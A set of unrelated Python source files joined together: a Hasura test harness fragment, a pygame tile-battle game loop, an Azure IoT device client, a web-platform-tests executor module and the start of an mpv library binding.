"""Handle requests in a separate thread."""
class EvtsWebhookServer(ThreadedHTTPServer):
def __init__(self, server_address):
self.resp_queue = queue.Queue(maxsize=1)
self.error_queue = queue.Queue()
super().__init__(server_address, EvtsWebhookHandler)
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
def get_event(self, timeout):
return self.resp_queue.get(timeout=timeout)
def get_error_queue_size(self):
sz = 0
while not self.error_queue.empty():
self.error_queue.get()
sz = sz + 1
return sz
def teardown(self):
self.evt_trggr_httpd.shutdown()
self.evt_trggr_httpd.server_close()
graphql_server.stop_server(self.graphql_server)
self.gql_srvr_thread.join()
self.evt_trggr_web_server.join()
class HGECtxGQLServer:
def __init__(self, hge_urls):
# start the graphql server
self.graphql_server = graphql_server.create_server('127.0.0.1', 5000)
self.hge_urls = graphql_server.set_hge_urls(hge_urls)
self.gql_srvr_thread = threading.Thread(target=self.graphql_server.serve_forever)
self.gql_srvr_thread.start()
def teardown(self):
graphql_server.stop_server(self.graphql_server)
self.gql_srvr_thread.join()
class HGECtx:
def __init__(self, hge_url, pg_url, config):
self.http = requests.Session()
self. hge_key = config.getoption('--hge-key')
self.hge_url = hge_url
self.pg_url = pg_url
self.hge_webhook = config.getoption('--hge-webhook')
hge_jwt_key_file = config.getoption('--hge-jwt-key-file')
if hge_jwt_key_file is None:
self.hge_jwt_key = None
else:
with open(hge_jwt_key_file) as f:
self.hge_jwt_key = f.read()
self.hge_jwt_conf = config.getoption('--hge-jwt-conf')
self.webhook_insecure = config.getoption('--test-webhook-insecure')
self.metadata_disabled = config.getoption('--test-metadata-disabled')
self.may_skip_test_teardown = False
self.engine = create_engine(self.pg_url)
self.meta = MetaData()
self.ws_read_cookie = config.getoption('--test-ws-init-cookie')
self.hge_scale_url = config.getoption('--test-hge-scale-url')
self.avoid_err_msg_checks = config.getoption('--avoid-error-message-checks')
self.ws_client = GQLWsClient(self, '/v1/graphql')
result = subprocess.run(['../../scripts/get-version.sh'], shell=False, stdout=subprocess.PIPE, check=True)
env_version = os.getenv('VERSION')
self.version = env_version if env_version else result.stdout.decode('utf-8').strip()
if not self.metadata_disabled and not config.getoption('--skip-schema-setup'):
try:
st_code, resp = self.v1q_f('queries/clear_db.yaml')
except requests.exceptions.RequestException as e:
self.teardown()
raise HGECtxError(repr(e))
assert st_code == 200, resp
def reflect_tables(self):
self.meta.reflect(bind=self.engine)
def anyq(self, u, q, h):
resp = self.http.post(
self.hge_url + u,
json=q,
headers=h
)
# NOTE: make sure we preserve key ordering so we can test the ordering
# properties in the graphql spec properly
# Returning response headers to get the request id from response
return resp.status_code, resp.json(object_pairs_hook=OrderedDict), resp.headers
def sql(self, q):
conn = self.engine.connect()
res = conn.execute(q)
conn.close()
return res
def v1q(self, q, headers = {}):
h = headers.copy()
if self.hge_key is not None:
h['X-Hasura-Admin-Secret'] = self.hge_key
resp = self.http.post(
self.hge_url + "/v1/query",
json=q,
headers=h
)
# NOTE: make sure we preserve key ordering so we can test the ordering
# properties in the graphql spec properly
return resp.status_code, resp.json(object_pairs_hook=OrderedDict)
def v1q_f(self, fn):
with open(fn) as f:
# NOTE: preserve ordering with ruamel
yml = yaml.YAML()
return self.v1q(yml.load(f))
def teardown(self):
self.http.close()
self.engine.dispose()
|
main.py | import pygame
from units import Unit
from battlefields import Battlefield
import interface
import threading
from glob import glob
import json
from utils import *
import astar
TILE_SIZE = 45
pygame.display.init()
running = True
screen = pygame.display.set_mode((1, 1))
previous_drawn = None
WIN_WIDTH = 0
WIN_HEIGHT = 0
# Events
UNIT_MOVE_EVENT = 24
UNIT_ADD_EVENT = 25
UNIT_GET_INFO = 26
textures = {}
unit_movement_illegals = {"land": [1], "water": [0, 2, 3]}
def load_textures ():
''' Loads texture data for battlefield drawing '''
for texture_file in glob("Tiles\\[0-9]*.png"):
split_path = texture_file.split('_')
texture_number = int(split_path[0][6:])
mode = split_path[1]
texture = pygame.image.load(texture_file)
if (mode == 't'): converted = texture.convert_alpha()
else: converted = texture.convert()
textures[texture_number] = [converted, texture.get_height() - 45] # Surface, offset from base height
def load_unit_data ():
''' Loads unit data into Unit class'''
for unit_file_path in glob("Units\\*.json"):
with open(unit_file_path, "r") as unit_file:
name = unit_file_path[6:-5]
Unit.unit_types[name] = json.load(unit_file)
icon = pygame.image.load("Units\\{}".format(Unit.unit_types[name]["icon"]))
Unit.unit_types[name]["icon"] = icon.convert_alpha()
Unit.unit_types[name]["movement_type"] = unit_movement_illegals[Unit.unit_types[name]["movement_type"]]
def draw_battlefield (battlefield):
global screen, previous_drawn, WIN_WIDTH, WIN_HEIGHT
if (previous_drawn != battlefield.ID):
WIN_WIDTH = battlefield.width * (TILE_SIZE + 1) + 1
WIN_HEIGHT = battlefield.height * (TILE_SIZE + 1) + 1
screen = pygame.display.set_mode((WIN_WIDTH, WIN_HEIGHT))
previous_drawn = battlefield.ID
screen.fill((255, 255, 255))
for x in range(battlefield.width + 1):
pygame.draw.line(screen, (0, 0, 0), (0, x * (TILE_SIZE + 1)), (WIN_WIDTH, x * (TILE_SIZE + 1)))
for y in range(battlefield.height + 1):
pygame.draw.line(screen, (0, 0, 0), (y * (TILE_SIZE + 1), 0), (y * (TILE_SIZE + 1), WIN_HEIGHT))
for x in range(battlefield.width):
for y in range(battlefield.height):
background_tile_num = battlefield.background_tiles[y][x]
blit_coordinates = [x * (TILE_SIZE + 1) + 1, y * (TILE_SIZE + 1) + 1]
# 0 = no tile
if (background_tile_num):
screen.blit(textures[background_tile_num - 1][0], blit_coordinates)
base_tile_num = battlefield.base_map[y][x]
base_tile_data = textures[base_tile_num]
if (base_tile_data[1] != 0): blit_coordinates[1] -= base_tile_data[1]
screen.blit(base_tile_data[0], blit_coordinates)
for unit_key in battlefield.units:
unit = battlefield.units[unit_key]
icon = Unit.unit_types[unit.name]["icon"]
screen.blit(icon, (unit.position[0] * (TILE_SIZE + 1) + 1, unit.position[1] * (TILE_SIZE + 1) + 1))
load_textures()
load_unit_data()
battlefields_available = [Battlefield("mock_battlefield.json"), Battlefield("mock_battlefield.json"),
Battlefield("mock_battlefield.json"), Battlefield("mock_battlefield.json")]
current_battlefield = battlefields_available[0]
interface_thread = threading.Thread(target = interface.get_input)
interface_thread.daemon = True
interface_thread.start()
overlay_surface = pygame.Surface((TILE_SIZE, TILE_SIZE))
overlay_surface.fill((255, 0, 0))
overlay_surface.set_alpha(150)
overlay_surface = overlay_surface.convert_alpha()
overlay_positions = []
while running:
draw_battlefield(current_battlefield)
for overlay_position in overlay_positions:
screen.blit(overlay_surface, (overlay_position[0] * (TILE_SIZE + 1) + 1, overlay_position[1] * (TILE_SIZE + 1) + 1))
pygame.display.update()
for event in pygame.event.get():
#if (event.type != 4 or event.type != 1): print(event.type)
if (event.type == pygame.QUIT):
pygame.quit()
running = False
elif (event.type == UNIT_MOVE_EVENT):
if (not current_battlefield.is_unit(event.initial)):
print("No unit is positioned there!")
continue
elif (not current_battlefield.in_bounds(event.final)):
print("Movement is out of bounds!")
continue
current_battlefield.move_unit(event.initial, event.final)
elif (event.type == UNIT_ADD_EVENT):
new_unit = Unit(event.unit_name, event.position, None)
current_battlefield.add_unit(new_unit)
elif (event.type == UNIT_GET_INFO):
unit = current_battlefield.return_unit(event.position)
if (unit == None):
print("No unit is positioned here!")
continue
if (event.info_type == "range"):
unit_range = Unit.unit_types[unit.name]["range"]
for layer in range(-unit_range, unit_range + 1):
for square in range(-(unit_range-abs(layer)), (unit_range-abs(layer)) + 1):
if (square == 0 and layer == 0): continue
translated = add_vectors([square, layer], unit.position)
overlay_positions.append(translated)
|
device.py | # Copyright (c) Microsoft. All rights reserved.
# Licensed under the MIT license.
import base64
import hashlib
import hmac
import json
import threading
import time
from abc import ABCMeta, abstractmethod
from collections import namedtuple
from time import sleep
import iotc
from iotc import IOTConnectType, IOTLogLevel
import config
from modbus import ModbusDeviceClient
ProcessDesiredTwinResponse = namedtuple('ProcessDesiredTwinResponse', 'status_code status_text')
ProcessDesiredTwinResponse.__new__.__defaults__ = (200, 'completed')
class Device(object):
logger = None
client = None
modbus_client = None
device_thread = None
scope_id = None
appKey = None
device_id = None
model_data = None
_active = False
_last_updated_sas_token = None
def __init__(self, scope_id, app_key, device_id, model_data, logger):
self.scope_id = scope_id
self.app_key = app_key
self.device_id = device_id
self.logger = logger
device_key = Device._compute_derived_symmetric_key(self.app_key, self.device_id)
self.client = iotc.Device(self.scope_id, device_key, self.device_id, IOTConnectType.IOTC_CONNECT_SYMM_KEY)
self.client.setLogLevel(IOTLogLevel.IOTC_LOGGING_API_ONLY)
self.client.setModelData(model_data)
# set callbacks
self.client.on('ConnectionStatus', self._on_connect)
self.client.on('MessageSent', self._on_message_sent)
self.client.on('Command', self._on_command)
self.client.on('SettingsUpdated', self._on_settings_updated)
def start(self):
""" Starts the loop thread
"""
self.logger.info('Starting loop for device %s', self.device_id)
self.client.connect()
thread = threading.Thread(target=self._loop)
self._active = True
thread.start()
self.device_thread = thread
self.logger.info('Started loop for device %s', self.device_id)
def stop(self):
""" Stops the loop thread
"""
self.logger.info('Stopping loop for device %s', self.device_id)
self._cleanup()
self._active = False
if self.device_thread != None:
self.device_thread.join(1)
self.device_thread = None
self.client.disconnect()
self.logger.info('Stopped loop for device %s', self.device_id)
#region Callback Handlers
def _on_connect(self, info):
if not info.getStatusCode():
self.logger.info('Connected/Disconnected %s successfully', self.device_id)
else:
self.logger.error('Failed to connect %s with error %s: %s', self.device_id, info.getStatusCode(),
info.getPayload())
def _on_message_sent(self, info):
if not info.getStatusCode():
self.logger.info('Sent message for %s successfully %s', self.device_id, info.getPayload())
else:
self.logger.error('Failed to send message for %s with error %s: %s', self.device_id, info.getStatusCode(),
info.getPayload())
def _on_command(self, info):
self.logger.info('Received command for %s: %s', self.device_id, info.getPayload())
def _on_settings_updated(self, info):
key = info.getTag()
setting = json.loads(info.getPayload())
if config.KEY_VERSION not in setting:
self.logger.debug('Ignoring reported property for %s. %s: %s', self.device_id, key, setting)
return
self.logger.info('Settings updated for %s. %s: %s', self.device_id, key, setting)
value = setting[config.KEY_VERSION]
self._process_setting(key, value)
#endregion
def _process_setting(self, key, setting):
""" Process a json object representing the desired twin
"""
return ProcessDesiredTwinResponse()
def _do_loop_actions(self):
pass
def _loop(self):
""" Background loop for the device
"""
while self._active:
if self.client.isConnected():
self.client.doNext()
self._do_loop_actions()
else:
self.logger.info('Connection was lost for %s. Reconnecting...', self.device_id)
self.client.connect()
time.sleep(3)
def _cleanup(self):
""" Clean up on exit
"""
pass
@staticmethod
def _compute_derived_symmetric_key(app_key, deviceId):
""" Compute a device key using the application key and the device identity
"""
app_key = base64.b64decode(app_key)
return base64.b64encode(hmac.new(app_key, msg=deviceId.encode('utf8'), digestmod=hashlib.sha256).digest())
@staticmethod
def _is_json(string):
if not isinstance(string, str):
return False
try:
json.loads(string)
except ValueError:
return False
return True
@staticmethod
def _create_model_data(model_id, gateway_id, is_gateway):
""" Creates the model data payload (in string format) for provisioning the master or slave device
"""
if is_gateway:
assert(gateway_id == None)
else:
assert(gateway_id != None)
model_data = {
config.KEY_MODEL_ID: model_id,
config.KEY_GATEWAY: {
config.KEY_GATEWAY_ID: gateway_id,
config.KEY_IS_GATEWAY: is_gateway
}
}
return model_data
|
base.py | import hashlib
import httplib
import os
import threading
import traceback
import socket
import urlparse
from abc import ABCMeta, abstractmethod
from ..testrunner import Stop
here = os.path.split(__file__)[0]
# Extra timeout to use after internal test timeout at which the harness
# should force a timeout
extra_timeout = 5 # seconds
def executor_kwargs(test_type, server_config, cache_manager, **kwargs):
timeout_multiplier = kwargs["timeout_multiplier"]
if timeout_multiplier is None:
timeout_multiplier = 1
executor_kwargs = {"server_config": server_config,
"timeout_multiplier": timeout_multiplier,
"debug_info": kwargs["debug_info"]}
if test_type == "reftest":
executor_kwargs["screenshot_cache"] = cache_manager.dict()
if test_type == "wdspec":
executor_kwargs["binary"] = kwargs.get("binary")
executor_kwargs["webdriver_binary"] = kwargs.get("webdriver_binary")
executor_kwargs["webdriver_args"] = kwargs.get("webdriver_args")
return executor_kwargs
def strip_server(url):
"""Remove the scheme and netloc from a url, leaving only the path and any query
or fragment.
url - the url to strip
e.g. http://example.org:8000/tests?id=1#2 becomes /tests?id=1#2"""
url_parts = list(urlparse.urlsplit(url))
url_parts[0] = ""
url_parts[1] = ""
return urlparse.urlunsplit(url_parts)
class TestharnessResultConverter(object):
harness_codes = {0: "OK",
1: "ERROR",
2: "TIMEOUT"}
test_codes = {0: "PASS",
1: "FAIL",
2: "TIMEOUT",
3: "NOTRUN"}
def __call__(self, test, result):
"""Convert a JSON result into a (TestResult, [SubtestResult]) tuple"""
result_url, status, message, stack, subtest_results = result
assert result_url == test.url, ("Got results from %s, expected %s" %
(result_url, test.url))
harness_result = test.result_cls(self.harness_codes[status], message)
return (harness_result,
[test.subtest_result_cls(name, self.test_codes[status], message, stack)
for name, status, message, stack in subtest_results])
testharness_result_converter = TestharnessResultConverter()
def reftest_result_converter(self, test, result):
return (test.result_cls(result["status"], result["message"],
extra=result.get("extra")), [])
def pytest_result_converter(self, test, data):
harness_data, subtest_data = data
if subtest_data is None:
subtest_data = []
harness_result = test.result_cls(*harness_data)
subtest_results = [test.subtest_result_cls(*item) for item in subtest_data]
return (harness_result, subtest_results)
class ExecutorException(Exception):
def __init__(self, status, message):
self.status = status
self.message = message
class TestExecutor(object):
__metaclass__ = ABCMeta
test_type = None
convert_result = None
supports_testdriver = False
def __init__(self, browser, server_config, timeout_multiplier=1,
debug_info=None, **kwargs):
"""Abstract Base class for object that actually executes the tests in a
specific browser. Typically there will be a different TestExecutor
subclass for each test type and method of executing tests.
:param browser: ExecutorBrowser instance providing properties of the
browser that will be tested.
:param server_config: Dictionary of wptserve server configuration of the
form stored in TestEnvironment.external_config
:param timeout_multiplier: Multiplier relative to base timeout to use
when setting test timeout.
"""
self.runner = None
self.browser = browser
self.server_config = server_config
self.timeout_multiplier = timeout_multiplier
self.debug_info = debug_info
self.last_environment = {"protocol": "http",
"prefs": {}}
self.protocol = None # This must be set in subclasses
@property
def logger(self):
"""StructuredLogger for this executor"""
if self.runner is not None:
return self.runner.logger
def setup(self, runner):
"""Run steps needed before tests can be started e.g. connecting to
browser instance
:param runner: TestRunner instance that is going to run the tests"""
self.runner = runner
if self.protocol is not None:
self.protocol.setup(runner)
def teardown(self):
"""Run cleanup steps after tests have finished"""
if self.protocol is not None:
self.protocol.teardown()
def run_test(self, test):
"""Run a particular test.
:param test: The test to run"""
if test.environment != self.last_environment:
self.on_environment_change(test.environment)
try:
result = self.do_test(test)
except Exception as e:
result = self.result_from_exception(test, e)
if result is Stop:
return result
# log result of parent test
if result[0].status == "ERROR":
self.logger.debug(result[0].message)
self.last_environment = test.environment
self.runner.send_message("test_ended", test, result)
def server_url(self, protocol):
return "%s://%s:%s" % (protocol,
self.server_config["host"],
self.server_config["ports"][protocol][0])
def test_url(self, test):
return urlparse.urljoin(self.server_url(test.environment["protocol"]), test.url)
@abstractmethod
def do_test(self, test):
"""Test-type and protocol specific implementation of running a
specific test.
:param test: The test to run."""
pass
def on_environment_change(self, new_environment):
pass
def result_from_exception(self, test, e):
if hasattr(e, "status") and e.status in test.result_cls.statuses:
status = e.status
else:
status = "ERROR"
message = unicode(getattr(e, "message", ""))
if message:
message += "\n"
message += traceback.format_exc(e)
return test.result_cls(status, message), []
class TestharnessExecutor(TestExecutor):
convert_result = testharness_result_converter
class RefTestExecutor(TestExecutor):
convert_result = reftest_result_converter
def __init__(self, browser, server_config, timeout_multiplier=1, screenshot_cache=None,
debug_info=None, **kwargs):
TestExecutor.__init__(self, browser, server_config,
timeout_multiplier=timeout_multiplier,
debug_info=debug_info)
self.screenshot_cache = screenshot_cache
class RefTestImplementation(object):
def __init__(self, executor):
self.timeout_multiplier = executor.timeout_multiplier
self.executor = executor
# Cache of url:(screenshot hash, screenshot). Typically the
# screenshot is None, but we set this value if a test fails
# and the screenshot was taken from the cache so that we may
# retrieve the screenshot from the cache directly in the future
self.screenshot_cache = self.executor.screenshot_cache
self.message = None
def setup(self):
pass
def teardown(self):
pass
@property
def logger(self):
return self.executor.logger
def get_hash(self, test, viewport_size, dpi):
timeout = test.timeout * self.timeout_multiplier
key = (test.url, viewport_size, dpi)
if key not in self.screenshot_cache:
success, data = self.executor.screenshot(test, viewport_size, dpi)
if not success:
return False, data
screenshot = data
hash_value = hashlib.sha1(screenshot).hexdigest()
self.screenshot_cache[key] = (hash_value, None)
rv = (hash_value, screenshot)
else:
rv = self.screenshot_cache[key]
self.message.append("%s %s" % (test.url, rv[0]))
return True, rv
def is_pass(self, lhs_hash, rhs_hash, relation):
assert relation in ("==", "!=")
self.message.append("Testing %s %s %s" % (lhs_hash, relation, rhs_hash))
return ((relation == "==" and lhs_hash == rhs_hash) or
(relation == "!=" and lhs_hash != rhs_hash))
def run_test(self, test):
viewport_size = test.viewport_size
dpi = test.dpi
self.message = []
# Depth-first search of reference tree, with the goal
# of reachings a leaf node with only pass results
stack = list(((test, item[0]), item[1]) for item in reversed(test.references))
while stack:
hashes = [None, None]
screenshots = [None, None]
nodes, relation = stack.pop()
for i, node in enumerate(nodes):
success, data = self.get_hash(node, viewport_size, dpi)
if success is False:
return {"status": data[0], "message": data[1]}
hashes[i], screenshots[i] = data
if self.is_pass(hashes[0], hashes[1], relation):
if nodes[1].references:
stack.extend(list(((nodes[1], item[0]), item[1]) for item in reversed(nodes[1].references)))
else:
# We passed
return {"status":"PASS", "message": None}
# We failed, so construct a failure message
for i, (node, screenshot) in enumerate(zip(nodes, screenshots)):
if screenshot is None:
success, screenshot = self.retake_screenshot(node, viewport_size, dpi)
if success:
screenshots[i] = screenshot
log_data = [{"url": nodes[0].url, "screenshot": screenshots[0]}, relation,
{"url": nodes[1].url, "screenshot": screenshots[1]}]
return {"status": "FAIL",
"message": "\n".join(self.message),
"extra": {"reftest_screenshots": log_data}}
def retake_screenshot(self, node, viewport_size, dpi):
success, data = self.executor.screenshot(node, viewport_size, dpi)
if not success:
return False, data
key = (node.url, viewport_size, dpi)
hash_val, _ = self.screenshot_cache[key]
self.screenshot_cache[key] = hash_val, data
return True, data
class WdspecExecutor(TestExecutor):
convert_result = pytest_result_converter
protocol_cls = None
def __init__(self, browser, server_config, webdriver_binary,
webdriver_args, timeout_multiplier=1, capabilities=None,
debug_info=None, **kwargs):
self.do_delayed_imports()
TestExecutor.__init__(self, browser, server_config,
timeout_multiplier=timeout_multiplier,
debug_info=debug_info)
self.webdriver_binary = webdriver_binary
self.webdriver_args = webdriver_args
self.timeout_multiplier = timeout_multiplier
self.capabilities = capabilities
self.protocol = self.protocol_cls(self, browser)
def is_alive(self):
return self.protocol.is_alive
def on_environment_change(self, new_environment):
pass
def do_test(self, test):
timeout = test.timeout * self.timeout_multiplier + extra_timeout
success, data = WdspecRun(self.do_wdspec,
self.protocol.session_config,
test.abs_path,
timeout).run()
if success:
return self.convert_result(test, data)
return (test.result_cls(*data), [])
def do_wdspec(self, session_config, path, timeout):
harness_result = ("OK", None)
subtest_results = pytestrunner.run(path,
self.server_config,
session_config,
timeout=timeout)
return (harness_result, subtest_results)
def do_delayed_imports(self):
global pytestrunner
from . import pytestrunner
class Protocol(object):
def __init__(self, executor, browser):
self.executor = executor
self.browser = browser
@property
def logger(self):
return self.executor.logger
def setup(self, runner):
pass
def teardown(self):
pass
def wait(self):
pass
class WdspecRun(object):
def __init__(self, func, session, path, timeout):
self.func = func
self.result = (None, None)
self.session = session
self.path = path
self.timeout = timeout
self.result_flag = threading.Event()
def run(self):
"""Runs function in a thread and interrupts it if it exceeds the
given timeout. Returns (True, (Result, [SubtestResult ...])) in
case of success, or (False, (status, extra information)) in the
event of failure.
"""
executor = threading.Thread(target=self._run)
executor.start()
flag = self.result_flag.wait(self.timeout)
if self.result[1] is None:
self.result = False, ("EXTERNAL-TIMEOUT", None)
return self.result
def _run(self):
try:
self.result = True, self.func(self.session, self.path, self.timeout)
except (socket.timeout, IOError):
self.result = False, ("CRASH", None)
except Exception as e:
message = getattr(e, "message")
if message:
message += "\n"
message += traceback.format_exc(e)
self.result = False, ("ERROR", message)
finally:
self.result_flag.set()
class WebDriverProtocol(Protocol):
server_cls = None
def __init__(self, executor, browser):
Protocol.__init__(self, executor, browser)
self.webdriver_binary = executor.webdriver_binary
self.webdriver_args = executor.webdriver_args
self.capabilities = self.executor.capabilities
self.session_config = None
self.server = None
def setup(self, runner):
"""Connect to browser via the HTTP server."""
try:
self.server = self.server_cls(
self.logger,
binary=self.webdriver_binary,
args=self.webdriver_args)
self.server.start(block=False)
self.logger.info(
"WebDriver HTTP server listening at %s" % self.server.url)
self.session_config = {"host": self.server.host,
"port": self.server.port,
"capabilities": self.capabilities}
except Exception:
self.logger.error(traceback.format_exc())
self.executor.runner.send_message("init_failed")
else:
self.executor.runner.send_message("init_succeeded")
def teardown(self):
if self.server is not None and self.server.is_alive:
self.server.stop()
@property
def is_alive(self):
"""Test that the connection is still alive.
Because the remote communication happens over HTTP we need to
make an explicit request to the remote. It is allowed for
WebDriver spec tests to not have a WebDriver session, since this
may be what is tested.
An HTTP request to an invalid path that results in a 404 is
proof enough to us that the server is alive and kicking.
"""
conn = httplib.HTTPConnection(self.server.host, self.server.port)
conn.request("HEAD", self.server.base_path + "invalid")
res = conn.getresponse()
return res.status == 404
|
mpv_lib.py | # -*- coding: utf-8 -*-
# vim: ts=4 sw=4 et
#
# Python MPV library module
# Copyright (C) 2017-2020 Sebastian Götte <code@jaseg.net>
#
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General
# Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any
# later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License along with this program. If not, see
# <http://www.gnu.org/licenses/>.
#
from ctypes import *
import ctypes.util
import threading
import os
import sys
from warnings import warn
from functools import partial, wraps
from contextlib import contextmanager
import collections
import re
import traceback
if os.name == 'nt':
dll = ctypes.util.find_library('mpv-1.dll')
if dll is None:
raise OSError('Cannot find mpv-1.dll in your system %PATH%. One way to deal with this is to ship mpv-1.dll '
'with your script and put the directory your script is in into %PATH% before "import mpv": '
'os.environ["PATH"] = os.path.dirname(__file__) + os.pathsep + os.environ["PATH"] '
'If mpv-1.dll is located elsewhere, you can add that path to os.environ["PATH"].')
backend = CDLL(dll)
fs_enc = 'utf-8'
else:
import locale
lc, enc = locale.getlocale(locale.LC_NUMERIC)
# libmpv requires LC_NUMERIC to be set to "C". Since messing with global variables everyone else relies upon is
# still better than segfaulting, we are setting LC_NUMERIC to "C".
locale.setlocale(locale.LC_NUMERIC, 'C')
sofile = ctypes.util.find_library('mpv')
if sofile is None:
raise OSError("Cannot find libmpv in the usual places. Depending on your distro, you may try installing an "
"mpv-devel or mpv-libs package. If you have libmpv around but this script can't find it, consult "
"the documentation for ctypes.util.find_library which this script uses to look up the library "
"filename.")
backend = CDLL(sofile)
fs_enc = sys.getfilesystemencoding()
class ShutdownError(SystemError):
pass
class MpvHandle(c_void_p):
pass
class MpvRenderCtxHandle(c_void_p):
pass
class MpvOpenGLCbContext(c_void_p):
pass
class PropertyUnavailableError(AttributeError):
pass
class ErrorCode(object):
"""For documentation on these, see mpv's libmpv/client.h."""
SUCCESS = 0
EVENT_QUEUE_FULL = -1
NOMEM = -2
UNINITIALIZED = -3
INVALID_PARAMETER = -4
OPTION_NOT_FOUND = -5
OPTION_FORMAT = -6
OPTION_ERROR = -7
PROPERTY_NOT_FOUND = -8
PROPERTY_FORMAT = -9
PROPERTY_UNAVAILABLE = -10
PROPERTY_ERROR = -11
COMMAND = -12
LOADING_FAILED = -13
AO_INIT_FAILED = -14
VO_INIT_FAILED = -15
NOTHING_TO_PLAY = -16
UNKNOWN_FORMAT = -17
UNSUPPORTED = -18
NOT_IMPLEMENTED = -19
GENERIC = -20
EXCEPTION_DICT = {
0: None,
-1: lambda *a: MemoryError('mpv event queue full', *a),
-2: lambda *a: MemoryError('mpv cannot allocate memory', *a),
-3: lambda *a: ValueError('Uninitialized mpv handle used', *a),
-4: lambda *a: ValueError('Invalid value for mpv parameter', *a),
-5: lambda *a: AttributeError('mpv option does not exist', *a),
-6: lambda *a: TypeError('Tried to set mpv option using wrong format', *a),
-7: lambda *a: ValueError('Invalid value for mpv option', *a),
-8: lambda *a: AttributeError('mpv property does not exist', *a),
# Currently (mpv 0.18.1) there is a bug causing a PROPERTY_FORMAT error to be returned instead of
# INVALID_PARAMETER when setting a property-mapped option to an invalid value.
-9: lambda *a: TypeError('Tried to get/set mpv property using wrong format, or passed invalid value', *a),
-10: lambda *a: PropertyUnavailableError('mpv property is not available', *a),
-11: lambda *a: RuntimeError('Generic error getting or setting mpv property', *a),
-12: lambda *a: SystemError('Error running mpv command', *a),
-14: lambda *a: RuntimeError('Initializing the audio output failed', *a),
-15: lambda *a: RuntimeError('Initializing the video output failed'),
-16: lambda *a: RuntimeError('There was no audio or video data to play. This also happens if the file '
'was recognized, but did not contain any audio or video streams, or no '
'streams were selected.'),
-17: lambda *a: RuntimeError('When trying to load the file, the file format could not be determined, '
'or the file was too broken to open it'),
-18: lambda *a: ValueError('Generic error for signaling that certain system requirements are not fulfilled'),
-19: lambda *a: NotImplementedError('The API function which was called is a stub only'),
-20: lambda *a: RuntimeError('Unspecified error') }
@staticmethod
def default_error_handler(ec, *args):
return ValueError(_mpv_error_string(ec).decode('utf-8'), ec, *args)
@classmethod
def raise_for_ec(kls, ec, func, *args):
ec = 0 if ec > 0 else ec
ex = kls.EXCEPTION_DICT.get(ec , kls.default_error_handler)
if ex:
raise ex(ec, *args)
MpvGlGetProcAddressFn = CFUNCTYPE(c_void_p, c_void_p, c_char_p)
class MpvOpenGLInitParams(Structure):
_fields_ = [('get_proc_address', MpvGlGetProcAddressFn),
('get_proc_address_ctx', c_void_p),
('extra_exts', c_void_p)]
def __init__(self, get_proc_address):
self.get_proc_address = get_proc_address
self.get_proc_address_ctx = None
self.extra_exts = None
class MpvOpenGLFBO(Structure):
_fields_ = [('fbo', c_int),
('w', c_int),
('h', c_int),
('internal_format', c_int)]
def __init__(self, w, h, fbo=0, internal_format=0):
self.w, self.h = w, h
self.fbo = fbo
self.internal_format = internal_format
class MpvRenderFrameInfo(Structure):
_fields_ = [('flags', c_int64),
('target_time', c_int64)]
def as_dict(self):
return {'flags': self.flags,
'target_time': self.target_time}
class MpvOpenGLDRMParams(Structure):
_fields_ = [('fd', c_int),
('crtc_id', c_int),
('connector_id', c_int),
('atomic_request_ptr', c_void_p),
('render_fd', c_int)]
class MpvOpenGLDRMDrawSurfaceSize(Structure):
_fields_ = [('width', c_int), ('height', c_int)]
class MpvOpenGLDRMParamsV2(Structure):
_fields_ = [('fd', c_int),
('crtc_id', c_int),
('connector_id', c_int),
('atomic_request_ptr', c_void_p),
('render_fd', c_int)]
def __init__(self, crtc_id, connector_id, atomic_request_ptr, fd=-1, render_fd=-1):
self.crtc_id, self.connector_id = crtc_id, connector_id
self.atomic_request_ptr = atomic_request_ptr
self.fd, self.render_fd = fd, render_fd
class MpvRenderParam(Structure):
_fields_ = [('type_id', c_int),
('data', c_void_p)]
# maps human-readable type name to (type_id, argtype) tuple.
# The type IDs come from libmpv/render.h
TYPES = {"invalid" :(0, None),
"api_type" :(1, str),
"opengl_init_params" :(2, MpvOpenGLInitParams),
"opengl_fbo" :(3, MpvOpenGLFBO),
"flip_y" :(4, bool),
"depth" :(5, int),
"icc_profile" :(6, bytes),
"ambient_light" :(7, int),
"x11_display" :(8, c_void_p),
"wl_display" :(9, c_void_p),
"advanced_control" :(10, bool),
"next_frame_info" :(11, MpvRenderFrameInfo),
"block_for_target_time" :(12, bool),
"skip_rendering" :(13, bool),
"drm_display" :(14, MpvOpenGLDRMParams),
"drm_draw_surface_size" :(15, MpvOpenGLDRMDrawSurfaceSize),
"drm_display_v2" :(16, MpvOpenGLDRMParamsV2)}
def __init__(self, name, value=None):
if name not in self.TYPES:
raise ValueError('unknown render param type "{}"'.format(name))
self.type_id, cons = self.TYPES[name]
if cons is None:
self.value = None
self.data = c_void_p()
elif cons is str:
self.value = value
self.data = cast(c_char_p(value.encode('utf-8')), c_void_p)
elif cons is bytes:
self.value = MpvByteArray(value)
self.data = cast(pointer(self.value), c_void_p)
elif cons is bool:
self.value = c_int(int(bool(value)))
self.data = cast(pointer(self.value), c_void_p)
else:
self.value = cons(**value)
self.data = cast(pointer(self.value), c_void_p)
def kwargs_to_render_param_array(kwargs):
t = MpvRenderParam * (len(kwargs)+1)
return t(*kwargs.items(), ('invalid', None))
class MpvFormat(c_int):
NONE = 0
STRING = 1
OSD_STRING = 2
FLAG = 3
INT64 = 4
DOUBLE = 5
NODE = 6
NODE_ARRAY = 7
NODE_MAP = 8
BYTE_ARRAY = 9
def __eq__(self, other):
return self is other or self.value == other or self.value == int(other)
def __repr__(self):
return ['NONE', 'STRING', 'OSD_STRING', 'FLAG', 'INT64', 'DOUBLE', 'NODE', 'NODE_ARRAY', 'NODE_MAP',
'BYTE_ARRAY'][self.value]
def __hash__(self):
return self.value
class MpvEventID(c_int):
NONE = 0
SHUTDOWN = 1
LOG_MESSAGE = 2
GET_PROPERTY_REPLY = 3
SET_PROPERTY_REPLY = 4
COMMAND_REPLY = 5
START_FILE = 6
END_FILE = 7
FILE_LOADED = 8
TRACKS_CHANGED = 9
TRACK_SWITCHED = 10
IDLE = 11
PAUSE = 12
UNPAUSE = 13
TICK = 14
